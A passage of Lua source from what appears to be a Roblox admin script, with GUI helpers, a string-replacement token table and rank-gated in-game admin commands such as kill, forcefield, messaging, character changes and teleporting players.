5177 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5178
5179 local function ExecuteText()
5180 local Text = CORE:ReadProperty(RPR, Player, "Text")
5181 CORE:Chatted(Text, Player, true)
5182 CommandBox.Text = "Enter a command here"
5183 end
5184
5185 local function AddSuggestion(Text)
5186 if Text == nil then Text = Settings.Prefix end
5187 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5188 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5189 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5190 if Text == Settings.Prefix then
5191 CommandBox.Text = Settings.Prefix
5192 else
5193 CommandBox.Text = Settings.Prefix..Text
5194 end
5195 CORE:ExecuteResource("Focus", CommandBox)
5196 end, true)
5197 end
5198
5199 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5200 if CommandBox.Text == "Enter a command here" then
5201 CommandBox.Text = ""
5202 end
5203 end)
5204
5205 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5206 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5207
5208 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5209 EnterPressed.OnServerInvoke = ExecuteText
5210
5211 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5212 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5213 Suggest:ClearAllChildren()
5214 local Text = CORE:ReadProperty(RPR, Player, "Text")
5215 if Text == "" then
5216 AddSuggestion(Settings.Prefix)
5217 end
5218
5219 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5220 Text = string.sub(Text,#Settings.Prefix+1)
5221 end
5222 for _,Data in pairs(UsableCommands) do
5223 local Command,Args = Data[1],Data[2]
5224 if string.find(string.lower(Command),string.lower(Text)) then
5225 local NewSuggestion = Command
5226 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5227 AddSuggestion(NewSuggestion)
5228 end
5229 end
5230
5231 end end)
5232end
5233
5234function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5235 if not Player or not AllSeconds then return nil end
5236 AllSeconds = tonumber(AllSeconds)
5237 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5238 AllSeconds = math.floor(AllSeconds)
5239 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5240 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5241 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
5242 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5243 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5244 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5245
5246 local CurrentSeconds = AllSeconds
5247 local Alive = true
5248 coroutine.wrap(function() for i = 0,AllSeconds do
5249 if not Alive then break end
5250 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5251 local Minutes = tostring(math.floor(CurrentSeconds/60))
5252 if #Seconds == 1 then Seconds = "0"..Seconds end
5253 if #Minutes == 1 then Minutes = "0"..Minutes end
5254 Time.Text = Minutes..":"..Seconds
5255 wait(1)
5256 if CurrentSeconds <= 0 then
5257 Alarm:Play()
5258 Time.Text = "00:00"
5259 Part.Size = UDim2.new(1,0,1,0)
5260 Restore:Invoke()
5261 wait(4)
5262 Close:Invoke()
5263 break
5264 else
5265 Tick:Play()
5266 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5267 CurrentSeconds = CurrentSeconds - 1
5268 end
5269 end end)()
5270
5271 Closed.Event:connect(function()
5272 if Alive == true then
5273 Alive = false
5274 Tick:Stop()
5275 Alarm:Stop()
5276 end
5277 end)
5278end)() end
5279
5280function GUI:DetachChat(Player)
5281 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5282 if Player:FindFirstChild("DetachChatMML") then
5283 Player.DetachChatMML:Invoke(true)
5284 wait()
5285 Player.DetachChatMML:Destroy()
5286 end
5287
5288 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5289 local SG = Frame.Parent.Parent.Parent
5290
5291 local DCBF = Instance.new("BindableFunction", Player)
5292 DCBF.Name = "DetachChatMML"
5293 DCBF.OnInvoke = function(Remove)
5294 if Remove then
5295 SG:Destroy()
5296 end
5297 end
5298 CORE:ExecuteResource("CoreChat", SG)
5299
5300 local IsClosed = false
5301 Closed.Event:connect(function()
5302 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5303 IsClosed = true
5304 end)
5305
5306 coroutine.wrap(function()
5307 Player.CharacterRemoving:wait()
5308 if not IsClosed then
5309 IsClosed = true
5310 wait(1)
5311 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5312 end
5313 end)()
5314end
5315
5316function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5317 if not Player then return nil end
5318 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5319 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5320
5321 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5322end)() end
5323
5324function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5325 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5326 if not SoundID then SoundID = SoundInfo["ID"] end
5327 if not TitleText then TitleText = SoundInfo["Name"] end
5328 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5329 if not InputSound then InputSound = Sound end
5330
5331 local NumSounds = 0
5332 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5333 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5334 NumSounds = NumSounds + 1
5335 end
5336 end
5337
5338 local Size = UDim2.new(0.1, 100, 0.1, 100)
5339 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5340 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5341
5342 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5343 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5344 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5345 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5346 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5347 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5348 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5349
5350 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5351 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5352 if Sound then
5353 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5354 end
5355 if Time then
5356 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5357 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5358
5359 coroutine.wrap(function()
5360 local Alive = true
5361
5362 local function StopTimer() Alive = false end
5363 Closed.Event:connect(StopTimer)
5364 Minimized.Event:connect(StopTimer)
5365 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5366
5367 for i = Time,0,-1 do
5368 for ii = 1,10 do
5369 if Alive == true then
5370 Timer.Text = i
5371 wait(0.1)
5372 else
5373 break
5374 end
5375 end
5376 end
5377 if Alive == true then
5378 Close:Invoke()
5379 else
5380 Timer:Destroy()
5381 Stop:Destroy()
5382 end
5383 end)()
5384 end
5385end
5386
5387---- STRING REPLACEMENT OPERATIONS ----
5388
5389-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5390
5391-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5392
5393StringReplacements = {
5394 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5395 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5396 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5397 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5398 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5399 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5400 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5401 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5402 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5403 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5404
5405 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5406 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5407 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5408 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5409 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5410 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5411
5412 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5413 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5414 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5415 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5416 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5417 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5418 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5419 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5420 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5421 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5422 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5423 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5424 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5425 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5426 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5427 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5428}
5429
5430---- COMMANDS ----
5431
5432-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5433
5434Commands = { -- can't make local
5435 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5436 print("[MML's Admin]: Test message from "..Speaker.Name)
5437 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5438 end};
5439
5440 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5441 local Players = STRING:Scan(Arguments[1], Speaker)
5442 for _,Player in pairs(Players) do
5443 if Player.Character then
5444 Player.Character:BreakJoints()
5445 end
5446 end
5447 end};
5448
5449 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5450 local Players = STRING:Scan(Arguments[1], Speaker)
5451 for _,Player in pairs(Players) do
5452 if Player.Character then
5453 Instance.new("ForceField", Player.Character)
5454 end
5455 end
5456 end};
5457
5458 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5459 local Players = STRING:Scan(Arguments[1], Speaker)
5460 for _,Player in pairs(Players) do
5461 if Player.Character then
5462 for _,Get in pairs(Player.Character:GetChildren()) do
5463 if Get:IsA("ForceField") then
5464 Get:Destroy()
5465 end
5466 end
5467 end
5468 end
5469 end};
5470
5471 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5472 for _,Player in pairs(Server.Players:GetPlayers()) do
5473 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5474 end
5475 end};
5476
5477 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5478 for _,Player in pairs(Server.Players:GetPlayers()) do
5479 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5480 end
5481 end};
5482
5483 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5484 local Players = STRING:Scan(Arguments[1], Speaker)
5485 for _,Player in pairs(Players) do
5486 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5487 end
5488 end};
5489
5490 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5491 for _,Player in pairs(Server.Players:GetPlayers()) do
5492 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5493 end
5494 end};
5495
5496 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5497 local Players = STRING:Scan(Arguments[1], Speaker)
5498 for _,Player in pairs(Players) do
5499 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5500 end
5501 end};
5502
5503 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5504 local Players = STRING:Scan(Arguments[1], Speaker)
5505 local AgeList = {}
5506 for _,Player in pairs(Players) do
5507 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5508 end
5509 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5510 end};
5511
5512 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5513 local Players = STRING:Scan(Arguments[1], Speaker)
5514 local AgeList = {}
5515 for _,Player in pairs(Players) do
5516 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5517 end
5518 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5519 for _,Player in pairs(SecondPlayers) do
5520 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5521 end
5522 end};
5523
5524 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5525 local Storage = {{}, {}, {}, {}}
5526 local StorageText = {}
5527 local Formatted = {}
5528 for CommandNames,Data in pairs(Commands) do
5529 if not Data.Hidden then
5530 local RankNeeded = RANK:ConvertRank(Data[4])
5531 local Add = ""
5532 if Data[4] == "Non-Admin" then Add = "BLACK " end
5533 if Data[4] == "Admin" then Add = "CYAN " end
5534 if Data[4] == "Member" then Add = "BLUE " end
5535 if Data[4] == "Owner" then Add = "BROWN " end
5536 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5537 local AddBet = Settings.Bet
5538 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5539 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5540 table.insert(Storage[RankNeeded + 1], Add..Text)
5541 StorageText[Text] = CommandNames
5542 end
5543 end
5544 for Num,_ in pairs(Storage) do
5545 table.sort(Storage[Num])
5546 end
5547 for _,Table in pairs(Storage) do
5548 for _,Command in pairs(Table) do
5549 table.insert(Formatted, Command)
5550 end
5551 end
5552 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5553 Clicked.Event:connect(function(Text)
5554 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5555 end)
5556 end};
5557
5558 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5559 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5560 end};
5561
5562 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5563 if GUI:GetColor(Arguments[1]) then
5564 local ColorScheme = string.upper(Arguments[1])
5565 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5566 Settings.ColorScheme = ColorScheme
5567 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5568 else
5569 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5570 end
5571 end};
5572
5573 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5574 local List = {}
5575 for Color,_ in pairs(Colors) do
5576 table.insert(List, Color.." "..Color)
5577 end
5578 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5579 end};
5580
5581 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5582 local Transparency = tonumber(Arguments[1])
5583 if Transparency then
5584 if Transparency > 90 then Transparency = 90 end
5585 if Transparency < 10 then Transparency = 10 end
5586 Settings.TransparencyScheme = Transparency/100
5587
5588 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5589 else
5590 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5591 end
5592 end};
5593
5594 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5595 if Fonts[Arguments[1]] then
5596 Settings.Font = Arguments[1]
5597 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5598 end
5599 end};
5600
5601 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5602 Settings.Fun = not Settings.Fun
5603 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5604 end};
5605
5606 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5607 Settings.DisableAbuse = not Settings.DisableAbuse
5608 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5609 end};
5610
5611 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5612 local List = {}
5613 for Font,_ in pairs(Fonts) do
5614 if Font == Settings.Font then
5615 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5616 else
5617 table.insert(List, Font.." "..Font)
5618 end
5619 end
5620 GUI:ListGui(Speaker, "Font list", List, 44453197)
5621 end};
5622
5623 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5624 local SoundID = tonumber(Arguments[1])
5625 if SoundID then
5626 Settings.ExecuteNotificationSound = SoundID
5627
5628 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5629 else
5630 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5631 end
5632 end};
5633
5634 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5635 Settings.ExecuteNotificationSound = 0
5636 end};
5637
5638 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5639 local Players = STRING:Scan(Arguments[1], Speaker)
5640 for _,Player in pairs(Players) do
5641 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5642 end
5643 end};
5644
5645 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5646 local Players = STRING:Scan(Arguments[1], Speaker)
5647 for _,Player in pairs(Players) do
5648 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5649 end
5650 end};
5651
5652 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5653 local Players = STRING:Scan(Arguments[1], Speaker)
5654 for _,Player in pairs(Players) do
5655 coroutine.wrap(function()
5656 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5657 wait(1)
5658 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5659 end)()
5660 end
5661 end, Hidden = true};
5662
5663 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5664 local Players = STRING:Scan(Arguments[1], Speaker)
5665 for _,Player in pairs(Players) do
5666 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5667 end
5668 end};
5669
5670 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5671 local Players = STRING:Scan(Arguments[1], Speaker)
5672 for _,Player in pairs(Players) do
5673 CORE:ChangeName(Player, Arguments[2])
5674 end
5675 end};
5676
5677 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5678 local Players = STRING:Scan(Arguments[1], Speaker)
5679 for _,Player in pairs(Players) do
5680 if Player.Character then
5681 local Head = Player.Character:FindFirstChild("Label")
5682 if Head then Head:Destroy() end
5683 local Head = Player.Character:FindFirstChild("Head")
5684 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5685 end
5686 end
5687 end};
5688
5689 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5690 local Players = STRING:Scan(Arguments[1], Speaker)
5691 for _,Player in pairs(Players) do
5692 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5693 end
5694 end};
5695
5696 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5697 local Players = STRING:Scan(Arguments[1], Speaker)
5698 for _,Player in pairs(Players) do
5699 local _,RankNum = RANK:GetRank(Player)
5700 if RankNum <= RANK:ConvertRank(Rank) then
5701 Server.TS:Teleport(Arguments[2], Player)
5702 end
5703 end
5704 end};
5705
5706 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5707 local Players = STRING:Scan(Arguments[1], Speaker)
5708 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5709 if Suc then
5710 for _,Player in pairs(Players) do
5711 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5712 end
5713 else
5714 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5715 end
5716 end};
5717
5718 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5719 local Players = STRING:Scan(Arguments[1], Speaker)
5720 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5721 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5722 if Suc then
5723 for _,Player in pairs(Players) do
5724 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5725 end
5726 else
5727 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5728 end
5729 end)
5730 end};
